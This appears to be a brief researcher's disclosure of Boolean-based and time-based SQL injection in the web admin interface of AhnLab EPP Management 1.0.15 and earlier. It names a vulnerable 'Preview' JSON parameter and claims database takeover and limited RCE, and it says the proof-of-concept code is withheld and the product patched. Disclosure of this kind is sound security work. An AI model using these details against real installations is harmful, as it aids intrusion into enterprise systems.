Vulnerable Version: 1.0.15 and before

***Vulnerability and Product description***:
AhnLab EPP Management is a globally recognized next-generation advanced endpoint protection platform that integrates patch management, advanced malware detection, EDR, and XDR capabilities to provide centralised management, real-time monitoring, and policy control across enterprise endpoints. A Boolean-based and time-based SQL injection was discovered in the web admin interface of AhnLab EPP Management v1.0.15, which led to full compromise of the backend database with administrative privileges and limited remote code execution (RCE). Several endpoints were vulnerable to A Boolean-based SQL Injection vulnerability, such as **Preview*** parameter within the JSON, etc.’All affected endpoints were patched in releases after v1.0.15, and fixes were applied in 2023.
***This is proof of reproduction for a Boolean-based SQL injection in AhnLab EPP Management. however, I will not release the Python PoC for security reasons until next year, and the affected version was patched over two years ago***
